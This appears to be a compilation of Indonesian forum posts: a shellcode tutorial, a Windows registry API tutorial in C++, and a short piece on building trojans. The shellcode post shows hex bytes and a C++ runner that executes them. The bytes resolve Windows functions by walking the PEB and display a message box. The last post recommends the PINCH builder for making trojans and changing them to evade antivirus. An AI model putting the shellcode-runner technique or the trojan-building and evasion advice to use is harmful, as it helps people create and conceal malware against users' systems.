11 11 11 2B C8 8B D1 3B DA 75 E5 B8 11 11 11 11 B9 11 21 11 11 2B C8 03 E9 B8 11 11 11 11 B9 75
29 16 11 2B C8 8B C1 03 E8 8B D4 83 C2 20 B9 75 73 65 72 89 0A B8 11 11 11 11 B9 44 43 11 11 2B
C8 89 4A 04 52 FF D5 83 C4 04 33 F6 33 C9 64 8B 71 30 8B 76 0C 8B 76 1C 33 DB 43 8B 6E 08 8B 7E
20 8B 36 B8 11 11 11 11 B9 19 11 11 11 2B C8 8B D1 3B DA 75 E5 B8 11 11 11 11 B9 11 21 11 11 2B
C8 03 E9 B8 11 11 11 11 B9 82 EB 16 11 2B C8 8B C1 03 E8 B8 11 11 11 11 B9 95 12 11 11 2B C8 2B
E1 8B D4 B9 4D 65 73 73 89 0A B9 61 67 65 42 89 4A 04 B9 6F 78 41 20 89 4A 08 B9 42 79 20 41 89
4A 0C B9 79 72 62 79 89 4A 10 B8 11 11 11 11 B9 85 76 11 11 2B C8 89 4A 14 8B DA 83 C3 14 B9 4D
65 73 73 89 4B 04 B9 61 67 65 42 89 4B 08 B9 6F 78 41 20 89 4B 0C B9 27 74 68 65 89 4B 10 B9 20
68 61 72 89 4B 14 B9 64 20 77 61 89 4B 18 B9 79 27 20 42 89 4B 1C B9 79 20 41 79 89 4B 20 B9 72
62 79 74 89 4B 24 B8 11 11 11 11 B9 76 11 11 11 2B C8 89 4B 28 83 C3 04 33 C0 50 52 53 50 FF D5
33 F6 33 C9 64 8B 71 30 8B 76 0C 8B 76 1C 33 DB 43 8B 6E 08 8B 7E 20 8B 36 B8 11 11 11 11 B9 13
11 11 11 2B C8 8B D1 3B DA 75 E5 B8 11 11 11 11 B9 37 26 14 11 2B C8 03 E9 FF D5

kemudian rubah dalam bentuk string yang bisa dibaca c++

"\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E"
"\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14\x11\x11\x11\x2B\xC8\x8B"
"\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9"
"\xB8\x11\x11\x11\x11\xB9\x75\x29\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\x8B\xD4\x83"
"\xC2\x20\xB9\x75\x73\x65\x72\x89\x0A\xB8\x11\x11\x11\x11\xB9\x44\x43\x11\x11"
"\x2B\xC8\x89\x4A\x04\x52\xFF\xD5\x83\xC4\x04\x33\xF6\x33\xC9\x64\x8B\x71\x30"
"\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11"
"\x11\x11\x11\xB9\x19\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11"
"\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9\xB8\x11\x11\x11\x11\xB9\x82\xEB"
"\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\xB8\x11\x11\x11\x11\xB9\x95\x12\x11\x11\x2B"
"\xC8\x2B\xE1\x8B\xD4\xB9\x4D\x65\x73\x73\x89\x0A\xB9\x61\x67\x65\x42\x89\x4A"
"\x04\xB9\x6F\x78\x41\x20\x89\x4A\x08\xB9\x42\x79\x20\x41\x89\x4A\x0C\xB9\x79"
"\x72\x62\x79\x89\x4A\x10\xB8\x11\x11\x11\x11\xB9\x85\x76\x11\x11\x2B\xC8\x89"
"\x4A\x14\x8B\xDA\x83\xC3\x14\xB9\x4D\x65\x73\x73\x89\x4B\x04\xB9\x61\x67\x65"
"\x42\x89\x4B\x08\xB9\x6F\x78\x41\x20\x89\x4B\x0C\xB9\x27\x74\x68\x65\x89\x4B"
"\x10\xB9\x20\x68\x61\x72\x89\x4B\x14\xB9\x64\x20\x77\x61\x89\x4B\x18\xB9\x79"
"\x27\x20\x42\x89\x4B\x1C\xB9\x79\x20\x41\x79\x89\x4B\x20\xB9\x72\x62\x79\x74"
"\x89\x4B\x24\xB8\x11\x11\x11\x11\xB9\x76\x11\x11\x11\x2B\xC8\x89\x4B\x28\x83"
"\xC3\x04\x33\xC0\x50\x52\x53\x50\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B"
"\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11"
"\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11"
"\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";

shell code kita siap di test...

Code: Select all
#include <iostream> using namespace std; char code[] =  "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E" "\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14\x11\x11\x11\x2B\xC8\x8B" "\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9" "\xB8\x11\x11\x11\x11\xB9\x75\x29\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\x8B\xD4\x83" "\xC2\x20\xB9\x75\x73\x65\x72\x89\x0A\xB8\x11\x11\x11\x11\xB9\x44\x43\x11\x11" "\x2B\xC8\x89\x4A\x04\x52\xFF\xD5\x83\xC4\x04\x33\xF6\x33\xC9\x64\x8B\x71\x30" "\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11" "\x11\x11\x11\xB9\x19\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11" "\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9\xB8\x11\x11\x11\x11\xB9\x82\xEB" "\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\xB8\x11\x11\x11\x11\xB9\x95\x12\x11\x11\x2B" "\xC8\x2B\xE1\x8B\xD4\xB9\x4D\x65\x73\x73\x89\x0A\xB9\x61\x67\x65\x42\x89\x4A" "\x04\xB9\x6F\x78\x41\x20\x89\x4A\x08\xB9\x42\x79\x20\x41\x89\x4A\x0C\xB9\x79" "\x72\x62\x79\x89\x4A\x10\xB8\x11\x11\x11\x11\xB9\x85\x76\x11\x11\x2B\xC8\x89" "\x4A\x14\x8B\xDA\x83\xC3\x14\xB9\x4D\x65\x73\x73\x89\x4B\x04\xB9\x61\x67\x65" "\x42\x89\x4B\x08\xB9\x6F\x78\x41\x20\x89\x4B\x0C\xB9\x27\x74\x68\x65\x89\x4B" "\x10\xB9\x20\x68\x61\x72\x89\x4B\x14\xB9\x64\x20\x77\x61\x89\x4B\x18\xB9\x79" "\x27\x20\x42\x89\x4B\x1C\xB9\x79\x20\x41\x79\x89\x4B\x20\xB9\x72\x62\x79\x74" "\x89\x4B\x24\xB8\x11\x11\x11\x11\xB9\x76\x11\x11\x11\x2B\xC8\x89\x4B\x28\x83" "\xC3\x04\x33\xC0\x50\x52\x53\x50\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B" "\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11" "\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11" "\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5"; int main(){((void (*)(void))code)();}


Image

dan tara... kita telah berhasil membuat suatu shell code...


Sumber : 

Mengakses registry windows lewat c++

Registry adalah database yang disusun secara struktural yang berisi data-data dan informasi yang digunakan oleh aplikasi-aplikasi maupun sistem operasi. Informasi di dalam registry ini biasanya berupa hasil konfigursi suatu aplikasi atau sistem operasi sehingga apabila kita merubah nilai tertentu dari registry maka nilai kita juga akan mengubah konfigurasi program yang mengambil nilai tertentu tersebut


    Membuka Dan Menutup Key

Fungsi yang digunakan adalah RegOpenKeyEx()
Deklarasi lengkap fungsi ini dapat anda lihat di sini
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724897%28v=VS.85%29.aspx

Untuk lebih jelasnya perhatikan contoh berikut :

Code: Select all
// Program API Membuka dan Menutup Registry #include <windows.h> #include <iostream> using namespace std; int main() { LONG lResult; HKEY hKey; lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, // "SYSTEM\\CurrentControlSet", // 0, // Membuka registry KEY_ALL_ACCESS, // &hKey); // if (lResult == ERROR_SUCCESS) { cout << "Registry berhasil dibuka" << endl; } else { cout << "Registry gagal dibuka" << endl; } RegCloseKey(hKey); system("PAUSE"); return 0; }


Ketika dieksekusi akan menampilkan

Registry behasil dibuka
Press any key to continue...

Nah telihat dari contoh diatas, progam berhasil membuka key"HKEY_LOCAL_Machine\SYSTEM\CurentControlSet". Ingat, dalam c++ untuk menuliskan karakter backslash (\) digunakan karakter double-backslash (\\)

    Membuat Key

Fungsi yang digunakan adalah RegCreateKeyEx()

Deklarasi lengkap fungsi ini dapat anda lihat di sini
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724844%28v=VS.85%29.aspx

perhatikan contoh berikut.

Code: Select all
// Program API Membuat Key #include <windows.h> #include <iostream> using namespace std; int main() { LONG lResult; HKEY hKey; lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "system\\currentcontrolset\\KeyBaru", // 0, // NULL, // REG_OPTION_NON_VOLATILE, // Membuat key baru KEY_ALL_ACCESS, // bernama KeyBaru NULL, // dari CurrentControlSet &hKey, // dari CurrentControlSet NULL); // if (lResult == ERROR_SUCCESS) { cout << "Key berhasil dibuat" << endl; } else { cout << "Key gagal dibuat" << endl; } RegCloseKey(hKey); // menutup handle system("PAUSE"); return 0; }


Ketika dieksekusi akan menampilkan

Key berhsil dibuat
Press any key to continue...

Nah dari hasil eksekusi program diatas, program diatas berhasil membuat sebuak key bernama KeyBaru pada "HKEY_LOCAL_machine\SYSTEM\CurentControlSet". Ingat key pada registry tidak case-sensitive jika tidak percaya, cobalah buka Registry Editor Anda Dan carilah "HKEY_LOCAL_machine\SYSTEM\CurentControlSet\KeyBaru"
maka anda akan menemukannya.

    Memasukkan Data Kedalam Registry

Fungsi yang digunakan adalah RegSetValueEx()

Deklarasi lengkapnya bisa anda lihat di sini
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724923%28v=VS.85%29.aspx

Perhatikan contoh berikut :

Code: Select all
// Program API Memasukkan Nilai #include <windows.h> #include <iostream> using namespace std; int main() { HKEY hKey; LONG lResult; char szValue[] = "Nilai yang dimasukkan"; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\KeyBaru", 0, KEY_ALL_ACCESS, &hKey); lResult = RegSetValueEx(hKey, "Value Baru", 0, REG_SZ, (LPBYTE) szValue, 22); if(lResult == ERROR_SUCCESS) { cout << "Nilai berhasil dimasukkan" << endl; } else { cout << "Nilai gagal dimasukkan" << endl; } RegCloseKey(hKey); system("PAUSE"); return 0; }


Ketika dieksekusi akan menampilkan,

Nilai berhasil dimasukkan
Press any key to continue...

Terlihat dari program di atas, program berhasil membuat sebuah value baru bernama "Value Baru" yang berisi "Nilai yang dimasukkan" pada key "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\KeyBaru".

    Membaca Nilai Value

Fungsi yang digunakan adalah RegQueryValueEx().

Deklarasi lengkap nya dapat anda lihat di sini
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724911%28v=VS.85%29.aspx

Untuk jelasnya perhatikan contoh berikut :

Code: Select all
// Program API Membaca Nilai #include <iostream> #include <windows.h> using namespace std; int main() { HKEY hKey; BYTE penampung[200]; // penampung untuk parameter lpData unsigned long ukuran = 256; // variabel untuk lpcbData LONG lResult; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\KeyBaru", 0, KEY_ALL_ACCESS, &hKey); lResult = RegQueryValueEx(hKey, "Value Baru", 0, 0, penampung, &ukuran); if (lResult == ERROR_SUCCESS) { cout << "Nilai dari value \"Value Baru\" adalah " << penampung << endl; } else { cout << "Nilai tidak dapat dibaca" << endl; } RegCloseKey(hKey); system("PAUSE"); return 0; }


Ketika dieksekusi akan menampilkan,

Nilai dari value "Value Baru" adalah Nilai yang dimasukkan
Press any key to continue...

Nah terlihat dari program diatas berhasil memanggil fungsi RegQueryValueEx() dan menampilkan hasil berupa nilai dari value "Value Baru" yang memiliki nili "Nilai yang dimasukkan".

    Menghapus Value

Fungsi yang digunakan adlah RegDeleteValue().

Deklarasi lengkapnya dapat anda lihat di sini
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724851%28v=VS.85%29.aspx

Perhatikan contoh berikut

Code: Select all
// Program API Menghapus Value #include <iostream> #include <windows.h> using namespace std; int main() { HKEY hKey; LONG lResult; RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\KeyBaru", 0, KEY_ALL_ACCESS, &hKey); lResult = RegDeleteValue( hKey, "Value Baru"); if (lResult == ERROR_SUCCESS) { cout << "Value berhasil dihapus" << endl; } else { cout << "Value gagal dihapus" << endl; } RegCloseKey(hKey); system("PAUSE"); return 0; }


Ketika dieksekusi akan menampilkan,


Nah terlihat dari program diatas berhasil menghapus value "Value Baru"
pada key "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\KeyBaru". Untuk buktinya, Anda dapat melihat gambar berikut


Terlihat pada key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\KeyBaru", Sudah tidak ada lagi value "Value Baru"

    Menghapus Key

Fungsi yang digunakan adalah RegDeleteKey().

Deklarasi lengkapnya dapat anda lihat di sini
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724845%28v=VS.85%29.aspx

perhatikan contoh berikut

Code: Select all
// Program API Menghapus Key #include <iostream> #include <windows.h> using namespace std; int main() { HKEY hKey; LONG lResult; lResult = RegDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\KeyBaru"); if (lResult == ERROR_SUCCESS) { cout << "Key behasil dihapus" << endl; } else { cout << "Key gagal dihapus" << endl; } system("PAUSE"); return 0; }


Sekian dulu ya tutorialnya....
Happy Coding.... :pendekar:

source : http://ayrbyte.blogspot.com

Cara mudah membuat virus trojan

Banyak cara sebenarnya untuk membuat sebuah virus. Dari memulai belajar tentang pemrograman untuk mendukung pembuatan virus tersebut, mempelajari hole-hole sebuah operating sistem sampai cara yang terakhir yang paling mudah yaitu menggunakan software yang dirancang khusus untuk membuat virus.

 

PINCH Merupakan sebuah software yang diciptakan untuk menciptakan virus trojan. Dengan softraware ini kita bisa membuat virus trojan. Tanpa memerlukan modal pengetahuan bahasa pemrograman, bahkan sampai orang Awam pun bisa membuatnya. Hanya dengan setingan beberapa option langsung compile…Jadi deh virus tersbut.

Mudahnya lagi tipe-tipe torjan tersebut bisa kita setting da kita ubah-ubah jenisnya. Hal ini bisa dilakukan untuk menghindar dari tangkapan anti-virus .


Sumber : CYBER NET